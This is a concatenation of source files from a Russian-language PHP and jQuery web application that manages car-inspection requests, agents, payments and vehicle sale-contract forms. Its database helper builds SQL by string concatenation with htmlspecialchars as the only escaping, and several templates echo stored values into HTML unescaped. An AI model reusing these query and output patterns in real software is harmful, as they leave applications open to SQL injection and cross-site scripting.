WHERE %s"; if (!count($values)) return false; $where_str = array(); $values_str = array(); foreach ($where as $key=>$value) { $where_str[]=$key." = '". htmlspecialchars($value)."'"; } foreach ($values as $key=>$value) { $values_str[]=$key." = '". htmlspecialchars($value)."'"; } if(empty($where_str)) $where_str=1; $values_str=implode(" , ", $values_str); $where_str=implode(" AND ", $where_str); $query=sprintf($query,$table, $values_str, $where_str); $this->query($query, false); return true; } public function delete($table, array $where) { $query="DELETE FROM %s WHERE %s"; $where_str = array(); foreach ($where as $key=>$value) { $where_str[]=$key." = '". htmlspecialchars($value)."'"; } if(empty($where_str)) $where_str=1; $where_str=implode(" AND ", $where_str); $query=sprintf($query,$table, $where_str); $this->query($query, false); return true; } }<file_sep><?php $user = User::getInstance(); echo includeJsFile("validate.js"); echo includeJsFile("agentForm.js"); ?> <div class="well offset2 span7"> <form id = "agentForm" method="POST" action="?event=agent&action=form" class="form-horizontal"> <fieldset> <!-- Form Name --> <legend class="text-center">Агент</legend> <!-- Text input--> <input id="id" name ="id" value="<?php echo $data[0]['id']; ?>" type="input" style="display:none" > <div class="control-group"> <label class="control-label" for="second_name">Фамилия</label> <div class="controls"> <input validatod="text" id="second_name" value="<?php echo $data[0]['second_name']; ?>" name="second_name" type="text" placeholder="" class="input-large" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="first_name">Имя</label> <div class="controls"> <input validatod="text" id="first_name" value='<?php echo $data[0]['first_name']; ?>' name="first_name" type="text" placeholder="" class="input-large" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="third_name">Отчество</label> <div class="controls"> <input validatod="text" id="third_name" value='<?php echo $data[0]['third_name']; ?>' name="third_name" type="text" placeholder="" class="input-large" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <?php if (!isset($_GET['id'])):?> <!-- Text input--> <div class="control-group"> <label class="control-label" for="login">Логин</label> <div class="controls"> <input validatod="login" id="login" name="login" type="text" placeholder="" class="input-large" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="password">Пароль</label> <div class="controls"> <input validatod="password" id="password" name="password" type="text" placeholder="" class="input-large" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <?php endif ?> <?php if ($user->type==1):?> <!-- Select Basic --> <div class="control-group"> <label class="control-label" for="manager">Менеджер</label> <div class="controls"> <select id="manager" name="manager" class="input-xlarge"> <option>Will be</option> </select> </div> </div> <?php endif ?> <?php echo $data[1]; ?> <div id = "newPrice" style="display:none"> <!-- Text input--> <div class="control-group"> <label class="control-label" for="name">Название</label> <div class="controls"> <div class="input-append"> <input validatod="text" id="name" name="name" type="text" placeholder="" class="input-large" required=""> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="A"> Категория А</label> <div id="categoryA" class="controls"> <div class="input-append"> <input validatod="price" id="A" name="A" class="input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M1"> Категория B</label> <div id="categoryB" class="controls"> <div class="input-append"> <input validatod="price" id="B" name="B" class="input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M2"> Категория C</label> <div id="categoryC" class="controls"> <div class="input-append"> <input validatod="price" id="C" name="C" class="input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3"> Категория D</label> <div id="categoryD" class="controls"> <div class="input-append"> <input validatod="price" id="D" name="D" class="input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3">Легковой прицеп</label> <div id="categoryE_light" class="controls"> <div class="input-append"> <input validatod="price" id="E_light" name="E_light" class=" has-error input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3">Грузовой прицеп</label> <div id="categoryE_heavy" class="controls"> <div class="input-append"> <input validatod="price" id="E_heavy" name="E_heavy" class="input-medium" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> </div> <?php if (isset($data["error"])) { echo "<div class='alert alert-error'>"; echo $data["error"]; echo "</div>"; } if (isset($_GET['id'])) { echo "<div class='alert alert-warning'>"; echo "Изменение прайса вступит в силу только в 00:00 часов."; echo "</div>"; } ?> <div class="control-group"> <div <?php if (isset($_GET['id'])) echo "style='margin-left: 160px;'"; ?> class="controls"> <a id="submit" name="submit" onclick="validateForm('agentForm',1);" class="btn btn-default">Сохранить</a> <?php if (isset($_GET['id'])):?> <a id="delete" name="delete" onclick="if(confirm('Удалить агента?')) window.location.href='?event=agent&action=delete&id=<?php echo $data[0]['id']?>' " class="btn btn-warning">Удалить</a> <a id="delete" name="delete" onclick="if(confirm('Сбросить пароль?')) window.location.href='?event=agent&action=reset&id=<?php echo $data[0]['id']?>' " class="btn btn-warning">Сбросить пароль</a> <?php endif ?> </div> </div> </fieldset> </form> </div> <file_sep> $(document).ready(function(){ inputs = ($("input")); console.log(inputs) for (i=0; i < inputs.length;i++) { if (!$('#'+inputs[i].id).is(":visible")) continue; $(inputs[i]).bind("input",function() { validateTypo(this,getPattern(this)); }) } }) function getPattern(element) { name = element.getAttribute("id"); validate = element.getAttribute("validatod"); if (validate) { if (validate=="text") return /^[. , _ \-a-zA-Zа-яА-Я0-9]+$/ if (validate=="login") return /^[_a-zA-Z0-9]{3,15}$/ if (validate=="password") return /^[_a-zA-Z0-9]{4,16}$/ if (validate=="price") return /\d+/ if (validate=="number") return /\d+/ // Поля для заявок if (validate=="VIN") // Вин - 17 символов return /^([a-zA-Z0-9]{17})$/ if (validate=="doc_number") // Номер документа - 6 цифр return /^([\d+]{6})$/ if (validate=="doc_seria") // Серия документа - 4 знака return /^([_a-zA-Zа-яА-Я0-9]{4})$/ if (validate=="year") // Год: 4 цифры return /^([\d+]{4})$/ } } function validateTypo(element, pattern) { if(!pattern) pattern = /\S+/ console.log(pattern); if (!element) return false; value= $(element).val(); parent = $(element).parent().parent(); if (value.match(pattern)) { $(parent).find("#okay").attr("style",""); $(parent).find("#remove").attr("style","display:none"); return true; } $(parent).find("#okay").attr("style","display:none"); $(parent).find("#remove").attr("style",""); return false; } function validatePrice(element, pattern) { if(!pattern) pattern = /\S+/ if (!element) return false; value= $(element).val(); parent = $(element).parent().parent(); if (value.match(pattern)) { if (value > 0) { $(parent).find("#okay").attr("style",""); $(parent).find("#remove").attr("style","display:none"); return true; } } $(parent).find("#okay").attr("style","display:none"); $(parent).find("#remove").attr("style",""); return false; } function validateForm(name,submit) { result = true; form = $("#"+name); inputs = form.find($("input")); for (i=0; i < inputs.length;i++) { if (!$('#'+inputs[i].id).is(":visible")) continue; name = inputs[i].getAttribute("id"); validate = inputs[i].getAttribute("validatod"); if (validate) { if (validate=="text") if (!validateTypo($("#"+name),/^[. , _ \-a-zA-Zа-яА-Я0-9]+$/)) result = false; if (validate=="login") if (!validateTypo($("#"+name),/^[_a-zA-Z0-9]{3,15}$/)) result = false; if (validate=="password") if (!validateTypo($("#"+name),/^[_a-zA-Z0-9]{4,16}$/)) result = false; if (validate=="price") if (!validateTypo($("#"+name),/\d+/)) result = false; if (validate=="number") if (!validateTypo($("#"+name),/\d+/)) result = false; // Поля для заявок if (validate=="VIN") // Вин - 17 символов if (!validateTypo($("#"+name),/^([a-zA-Z0-9]{17})$/)) result = false; if (validate=="doc_number") // Номер документа - 6 цифр if (!validateTypo($("#"+name),/^([\d+]{6})$/)) result = false; if (validate=="doc_seria") // Серия документа - 4 знака if (!validateTypo($("#"+name),/^([_a-zA-Z0-9]{4})$/)) result = false; if (validate=="year") // Год: 4 цифры if (!validateTypo($("#"+name),/^([\d+]{4})$/)) result = false; } } console.log(submit); if (submit){ console.log(result); if(result) form.submit(); } else { return result; } } <file_sep><?php require_once "db_ex.php"; ini_set("display_errors",1); error_reporting(E_ALL ^ E_NOTICE); $DB = new SafeMySQL(); $changes = $DB->getAll("SELECT * FROM Changes"); foreach($changes as $change) { switch ($change["doing"]) { case "price": changePrice($change); break; } } function changePrice(array $change = array()) { $DB = new SafeMySQL(); $DB->query("UPDATE Agents SET price = ?s WHERE login = ?s",$change['value'],$change["where"]); $DB->query("DELETE FROM Changes WHERE id = ?s",$change["id"]); }<file_sep>$(document).ready(function(){ updateRequests(); $('.agent').popover() }); function updatePagination(){ var pages= $('.pagination li a'); for (i=0; i < pages.length; i++) { page = pages[i].getAttribute('page') pages[i].setAttribute('onclick','updateRequests('+page+')') } } function updateRequests(page,event) { $('#page').attr("value",page) $.ajax({ type: 'POST', url: '?event=expert&action=request&clean&page='+page, success: function(data) { $('#requestTable').html(data); updatePagination(); }, error: function(xhr, str){ alert('Ошибка сервера ' + xhr.responseCode); } }); } function formRequest(id){ window.location="?event=request&action=form&id="+id; } setInterval(function(){ updateRequests($('#page').val()); findWork(); $('.agent').popover() },2000) function findWork() { var title = ""; if($('.info').length || $('.error').length || $('.warning').length ) title="ЗАЯВКА НА ТО!"; else document.title ="АСТО"; newTxt = "***********"; if (title !="") if(document.title == title){ document.title = newTxt; }else{ document.title = title; } } function showTreeAgent(login) { console.log(login); $('.modal-body').load("?event=expert&action=tree&clean&agent="+login); $('#agentInfo').modal('show') } function downloadRequest(id) { window.location="pdf.php?id="+id; }<file_sep><?php class cashierController extends Controller { public $rules = array ( "0" => "allow", "1" => "allow", "all" => "deny" ); public function indexAction(){ $data['agents'] = $this->genAgentsDropDown(); $data[5] = date('01.m.Y'); $data[6] = date('d.m.Y',strtotime("1 day")); $requestModel = new Request(); $requests = $requestModel->getAllByLogin("admin"); $this->render("index.php",$data); } public function AgentsAction(){ $agentModel = new Agent(); $agent = $agentModel->getById($_GET['agent']); $login = $agent['login']; $agents = $agentModel->getAgentsByLogin($login); foreach ($agents as $key => $value) { $agents[$key]['name'] = $agents[$key]['second_name']." ".$agents[$key]['first_name']; } array_unshift($agents, array('id'=>"allagents", 'name' => "Все агенты")); array_unshift($agents, array('id'=>"my", 'name' => "Заявки менеджера")); array_unshift($agents, array('id'=>"all", 'name' => "Все заявки")); $dropdown = new Dropdown(); $dropdown->setFilter(array("id"=>"name")); $dropdown->setSelect(0); $dropdown->setData($agents); $dropdown->setName('agent'); $dropdown->setEvent('name','agent'); $dropdown->render(); } public function RequestAction() { $requests = $this->genRequestsByFilter(); if (count($requests)) { if(isset($_GET['page'])) { echo $this->genRequests($_GET['page'],$requests); } else echo $this->genRequests(1,$requests); } else { $alert = new Alert(); $alert->render("Похоже, что заявки по данным критериям не найдены."); } } public function change1cAction() { $id = $_GET['id']; $requestModel = new Request(); $requestModel->setAttributes($requestModel->getById($id)); $status = $requestModel->getAttribute('status_1c'); $requestModel->setAttribute(array('status_1c'=>1-$status)); print_r($requestModel->getAttributes()); $requestModel->save(); } public function PayAction(){ $selected = json_decode($_GET['selected']); foreach ($selected as $key => $value) { if ($value) $this->payRequest($key); if (!$value) $this->unpayRequest($key); } } private function genRequests($page,array $data) { $table= new Table(); // Создаем таблицу $table->setHeaders(array('brand'=>'Марка','agent'=>'Агент','third_name'=>'Отчество','date_create'=>'Дата','status_pay'=>'Оплачено','status_work'=>'Обработано','_control'=>'Статус в 1С')); // Устанавливаем заголовки $table->setData($data); $table->setOptions(array('page'=>$page)); $table->set1cCol(); $table->setWorkText(); $table->set1СText(); $table->setPayText(); $table->change1C(); //$table->setClick("change1c"); $table->setClick("formRequest"); return $table->renderOut(); } private function payRequest($request){ $requestModel = new Request(); $requestModel->setAttributes($requestModel->getById($request)); $requestModel->pay(); } private function unpayRequest($request){ $requestModel = new Request(); $requestModel->setAttributes($requestModel->getById($request)); $requestModel->unpay(); } private function genAgentsDropDown($manager = "admin"){ $requestModel = new Request(); $agentModel = new Agent(); //$requests = $requestModel->getAllByLogin("admin"); $agents = $agentModel->getByParam('manager',$manager); foreach ($agents as $key => $value) { $agents[$key]['name'] = $agents[$key]['second_name']." ".$agents[$key]['first_name']; } $dropdown = new Dropdown(); $dropdown->setFilter(array("id"=>"name")); $dropdown->setData($agents); $dropdown->setEvent("onchange","getAgents()"); $dropdown->setName('managers'); return $dropdown->renderOut(); } private function genRequestsByFilter() { $requestModel = new Request(); $manager = Agent::byId("Agents",$_POST['managers']); if(isset($_POST['car']) || isset($_POST['name']) ) { $requests = $this->findRequestBySearch($requestModel->getAll()); return $requests; } $requests = $requestModel->getAllByLogin($manager['login']); if (isset($_POST['agent'])) { if ($_POST['agent'] == "allagents") { $tempReq = $requests; $requests = array(); foreach ($tempReq as $agent => $reqs) { foreach ($tempReq[$agent] as $num => $req) { $requests[]=$req; } } } elseif ($_POST['agent'] == "all") { $tempReq = $requests; $requests = array(); foreach ($tempReq as $agent => $reqs) { foreach ($tempReq[$agent] as $num => $req) { $requests[]=$req; } } $requests = array_merge($requestModel->getByLogin($manager['login']),$requests); } else { $agent = Agent::byId("Agents",$_POST['agent']); $requests = $requests[$agent['login']]; if ($_POST['agent']=="my") { $requests = $requestModel->getByLogin($manager['login']); } } } else { $tempReq = $requests; $requests = array(); foreach ($tempReq as $agent => $reqs) { foreach($tempReq[$agent] as $number=>$value) { $requests[]= $value; } } } if ($requests == NULL) $requests=array(); if(isset($_POST['payed']) && $_POST['payed']=='on') $payed = filterArray($requests,array("status_1c"=>1)); if(isset($_POST['unpayed']) && $_POST['unpayed']=='on') $unpayed = filterArray($requests,array("status_1c"=>0)); if(isset($_POST['payed']) && $_POST['payed']=="on" && isset($_POST['unpayed']) && $_POST['unpayed']=="on"){ } else{ $requests = array(); if (isset($_POST['payed'])){ $requests = $payed; } if (isset($_POST['unpayed'])){ $requests = $unpayed; } } if(isset($_POST['car']) || isset($_POST['name']) ) { $requests = array_merge($requests,$requestModel->getByLogin($User->login,0)); $requests = array_merge($requests,$requestModel->getAllByLogin($User->login,0)); $requests = $this->findRequestBySearch($requests); } if(isset($_POST['startDate']) && isset($_POST['endDate'])) { preg_match_all ("(\d+)",$_POST['startDate'],$dateArray); $startDate = $dateArray[0][2].'-'.$dateArray[0][1].'-'.$dateArray[0][0]; preg_match_all ("(\d+)",$_POST['endDate'],$dateArray); $endDate = $dateArray[0][2].'-'.$dateArray[0][1].'-'.$dateArray[0][0]; $requests = filterArray($requests,array('startDate' => $startDate, 'endDate' =>$endDate ),1); } return $requests; } private function findRequestBySearch($requests) { $number = $_POST['car']; $name = $_POST['name']; if($name == "" && $number == "") return array(); if ($name) { $result = filterArray($requests,array("second_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("first_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("third_name"=>$name)); if(!count($result)) $result = filterArray($requests,array("reg_number"=>$number)); } if ($number) { if(!count($result)) $result = filterArray($requests,array("VIN_number"=>$number)); if(!count($result)) $result = filterArray($requests,array("body"=>$number)); if(!count($result)) $result = filterArray($requests,array("wheels"=>$number)); } return $result; } }<file_sep><?php $table= new Table(); $MYSQL = DB::getInstance(); $data= $MYSQL->get("docs",array("*"),array(),0); $table->setHeaders(array("agent" => "Агент", "seller_name"=>"Продавец","buyer_name"=>"Покупатель","brand"=>"Автомобиль","reg_number"=>"Гос. знак","date"=>"Дата оформления")); $table->setData($data); $table->setClick("downloadDocument"); ?> <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='ru' lang='ru'> <head> <title>Конструктор Документов</title> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'/> <link href='bootstrap/css/bootstrap.min.css' rel='stylesheet'/> <script type='text/javascript' src='http://code.jquery.com/jquery-latest.js'></script> <script type='text/javascript' src='bootstrap/js/bootstrap.min.js'></script> <style type="text/css"> body { background-color: #f5f5f5; } .main { margin-right: auto; margin-left: auto; width: 940px; margin-top: 30px; background-color: #ffffff; border-radius: 4px; border: 1px solid rgba(0,0,0,0.15); -webkit-border-radius: 4px; -moz-border-radius: 4px; -moz-box-shadow: 0px 0px 6px rgba(0,0,0,0.05); -webkit-box-shadow: 0px 0px 6px rgba(0,0,0,0.05); box-shadow: 0px 0px 6px rgba(0,0,0,0.05); padding: 15px; } </style> <link rel="stylesheet" href="http://img.artlebedev.ru/;-)/links.css" /><link rel="stylesheet" href="http://img.artlebedev.ru/;-)/links.css" /></head> <body> <div class="main"> <a class="btn pull-right underline" href = 'http://avto-office.com/docs.php?logout'> Выйти</a> <h3> Конструктор документов</h3> <legend> Мои документы <button onclick="newDocument()" class="btn "><i class="icon-plus"></i></button> </legend> <?php $table->render();?> </div> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script><script type="text/javascript"> var pageTracker = _gat._getTracker("UA-1013490-2"); pageTracker._setDomainName("none"); pageTracker._initData(); pageTracker._trackPageview(); </script> </body> </html> <script> function downloadDocument(id) { window.location.href ="/docs.php?document="+id; } </script><file_sep>$(document).ready(function(){ updateRequests(); }); function updatePagination(){ var pages= $('.pagination li a'); for (i=0; i < pages.length; i++) { page = pages[i].getAttribute('page') pages[i].setAttribute('onclick','updateRequests('+page+')') } } var update = 1; function updateRequests(page,event) { if (page) $('#Filter #page').val(page); var msg = $('#Filter').serialize(); if(event) { sourse = event.srcElement || event.target; if(sourse.tagName == "FORM") var formName=sourse.getAttribute("id"); if(sourse.tagName == "A") var formName="Filter"; if (formName=="Filter") { var msg = $('#Filter').serialize(); update = 1; } if (formName=="Search") { if ($('#name').val().length > 0 || $('#number').val().length > 0 ) { update = 0; var msg = $('#Search').serialize(); } else var msg = $('#Filter').serialize(); } } $.ajax({ type: 'POST', url: '?event=agent&action=request&clean&hash', data: msg, success: function(data) { $('#requestTable').html(data); updatePagination(); }, error: function(xhr, str){ alert('Возникла ошибка: ' + xhr.responseCode); } }); updateStat(page); } function updateStat(page) { if (page) $('#Filter #page').val(page); var msg = $('#Filter').serialize(); $.ajax({ type: 'POST', url: '?event=agent&action=stat&clean', data: msg, success: function(data) { $('#stat').html(data); updatePagination(); }, error: function(xhr, str){ alert('Возникла ошибка: ' + xhr.responseCode); } }); } function editAgent(id) { window.location.href = "?event=agent&action=form&id="+id } function newAgent(id) { window.location.href = "?event=agent&action=form" } function formRequest(id){ window.location="?event=request&action=form&id="+id; } function deleteRequest(id){ $('#deleteDialog').modal('hide'); //window.location="?event=request&action=delete&id="+id; $.ajax("?event=request&action=delete&id="+id); } function deleteDialog(reg,id){ console.log(); $("#deleteDialog").find('.text').html("Вы действительно хотите удалить заявку <b>"+reg+"</b>?"); $("#deleteDialog").find("#confirm").attr("onclick","deleteRequest("+id+")"); $('#deleteDialog').modal('show'); } function downloadRequest(id) { window.location="pdf.php?id="+id; } setInterval(function(){ if (update) { updateRequests(); console.log("updated") } },2000)<file_sep><?php $table= new Table(); $MYSQL = DB::getInstance(); $data= $MYSQL->get("docs",array("*"),array("agent"=>$_SESSION['login']),0); $table->setHeaders(array("seller_name"=>"Продавец","buyer_name"=>"Покупатель","brand"=>"Автомобиль","reg_number"=>"Гос. знак","date"=>"Дата оформления")); $table->setData($data); $table->setClick("downloadDocument"); ?> <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'> <html xmlns='http://www.w3.org/1999/xhtml' xml:lang='ru' lang='ru'> <head> <title>Конструктор Документов</title> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'/> <link href='bootstrap/css/bootstrap.min.css' rel='stylesheet'/> <script type='text/javascript' src='http://code.jquery.com/jquery-latest.js'></script> <script type='text/javascript' src='bootstrap/js/bootstrap.min.js'></script> <style type="text/css"> body { background-color: #f5f5f5; } .main { margin-right: auto; margin-left: auto; width: 940px; margin-top: 30px; background-color: #ffffff; border-radius: 4px; border: 1px solid rgba(0,0,0,0.15); -webkit-border-radius: 4px; -moz-border-radius: 4px; -moz-box-shadow: 0px 0px 6px rgba(0,0,0,0.05); -webkit-box-shadow: 0px 0px 6px rgba(0,0,0,0.05); box-shadow: 0px 0px 6px rgba(0,0,0,0.05); padding: 15px; } </style> <link rel="stylesheet" href="http://img.artlebedev.ru/;-)/links.css" /></head> <body> <div class="main"> <a class="btn pull-right" href = 'http://avto-office.com/docs.php?logout'> Выйти</a> <h3> Конструктор документов</h3> <legend> Мои документы <button onclick="newDocument()" class="btn "><i class="icon-plus"></i></button> </legend> <?php $table->render();?> <form method ="POST" id="newDocument" class="form-horizontal" > <fieldset> <div class="page1"> <legend> Продавец</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_name">ФИО полностью</label> <div class="controls"> <input validatod="text" id="seller_name" name="seller_name" type="text" placeholder="<NAME>" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_date">Дата рождения</label> <div class="controls"> <input validatod="text" id="seller_date" name="seller_date" type="text" placeholder="12 декабря 1968" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_address">Адрес</label> <div class="controls"> <input validatod="text" id="seller_address" name="seller_address" type="text" placeholder="<NAME>, <NAME>, д. 7. кв. 12" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_seria">Серия паспорта</label> <div class="controls"> <input validatod="number" id="seller_seria" name="seller_seria" type="text" placeholder="5232" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_number">Номер паспорта</label> <div class="controls"> <input validatod="number" id="seller_number" name="seller_number" type="text" placeholder="634523" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="seller_issued">Место и дата выдачи</label> <div class="controls"> <input validatod="text" id="seller_issued" name="seller_issued" type="text" placeholder="УФМС г. Москва, 12.12.1968" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> </div> <div class="page2"> <legend> Покупатель</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_name">ФИО полностью</label> <div class="controls"> <input validatod="text" id="buyer_name" name="buyer_name" type="text" placeholder="<NAME>" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_date">Дата рождения</label> <div class="controls"> <input validatod="text" id="buyer_date" name="buyer_date" type="text" placeholder="12 декабря 1968" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_address">Адрес</label> <div class="controls"> <input validatod="text" id="buyer_address" name="buyer_address" type="text" placeholder="у<NAME>, д. 7. кв. 12" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_seria">Серия паспорта</label> <div class="controls"> <input validatod="number" id="buyer_seria" name="buyer_seria" type="text" placeholder="5232" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_number">Номер паспорта</label> <div class="controls"> <input validatod="number" id="buyer_number" name="buyer_number" type="text" placeholder="634523" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="buyer_issued">Место и дата выдачи</label> <div class="controls"> <input validatod="text" id="buyer_issued" name="buyer_issued" type="text" placeholder="УФМС г. Москва, 12.12.1968" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> </div> <div class="page3"> <!-- Form Name --> <legend>Автомобиль</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="reg_number">Регистрационный знак</label> <div class="controls"> <input validatod="text" id="reg_number" name="reg_number" type="text" placeholder="Х150ХХ98" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="brand">Марка, модель ТС</label> <div class="controls"> <input validatod="text" id="brand" name="brand" type="text" placeholder="<NAME>" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="vin_number">VIN-номер</label> <div class="controls"> <input validatod="VIN" id="vin_number" name="vin_number" type="text" placeholder="WWWKVLFLFLFLFLFTT" class="input-xlarge"> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> <p class="help-block">17 знаков</p> </div> </div> <!-- Select Basic --> <div class="control-group"> <label class="control-label" for="Категория ТС">Категория ТС</label> <div class="controls"> <select id="category" name="category" class="input-xlarge"> <option value="B">B</option> <option value="A">A</option> <option value="C">C</option> <option value="D">D</option> <option value="E">E</option> </select> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="year">Год выпуска</label> <div class="controls"> <input validatod="number" id="year" name="year" type="text" placeholder="1999" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="engine">Модель, № двигателя</label> <div class="controls"> <input id="engine" name="engine" type="text" placeholder="WWWKVLFLFLFLFLFTT" class="input-xlarge"> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="wheels">Шасси (рама) №</label> <div class="controls"> <input id="wheels" name="wheels" type="text" placeholder="GSDD-833" class="input-xlarge"> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="body">Кузов (прицеп) №</label> <div class="controls"> <input id="body" name="body" type="text" placeholder="FF-23421" class="input-xlarge"> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="color">Цвет кузова (кабины)</label> <div class="controls"> <input validatod="text" id="color" name="color" type="text" placeholder="Белый" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="power">Мощность двигателя л.с. (кВт)</label> <div class="controls"> <input validatod="text" id="power" name="power" type="text" placeholder="79/142" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="volume">Рабочий объем двигателя, куб. см.</label> <div class="controls"> <input validatod="text" id="volume" name="volume" type="text" placeholder="1,2" class="input-xlarge" required=""> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Select Basic --> <div class="control-group"> <label class="control-label" for="engine_type">Тип двигателя</label> <div class="controls"> <select id="engine_type" name="engine_type" class="input-xlarge"> <option value="БЕНЗИНОВЫЙ">Бензиновый</option> <option value="ДИЗЕЛЬНЫЙ">Дизельный</option> <option value="ПРИРОДНЫЙ ГАЗ">Природный газ</option> <option value="СЖИЖЕННЫЙ ГАЗ">Сжиженный газ</option> </select> </div> </div> <!-- Text input--> <div class="control-group"> <label class="control-label" for="class">Экологический класс</label> <div class="controls"> <input validatod="text" id="class" name="class" type="text" placeholder="Пятый" 